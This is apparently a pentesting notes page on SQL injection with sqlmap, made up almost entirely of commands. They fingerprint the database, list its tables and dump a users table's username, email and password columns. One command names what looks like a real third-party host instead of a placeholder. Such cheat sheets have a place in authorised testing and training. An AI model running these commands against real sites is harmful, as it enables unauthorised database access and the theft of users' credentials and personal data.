> For the complete documentation index, see [llms.txt](https://itrp19-notes.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itrp19-notes.gitbook.io/notes/reference/hacking/web-app-pentesting/sql-injection/sql-injection-with-sqlmap.md).

# SQL Injection with sqlmap

### Grabbing the Database software

```
sqlmap -u example.com/product/19* --banner
```

we put star as the vulnerable parameter

```
sqlmap -r req.txt --current-db
```

### Listing Tables

{% code overflow="wrap" %}

```
sqlmap -u catalog.sphassets.com/product/19* --tables
```

{% endcode %}

or

```
sqlmap -r request.txt -D social --tables
```

Dump entries from a specific table example

```
sqlmap -u example.com/product/19* -T users_field_data –dump
```

Dumping specific columns from a table example

{% code overflow="wrap" %}

```
sqlmap -r request.txt -D social -T users -C username,email,password --dump
```

{% endcode %}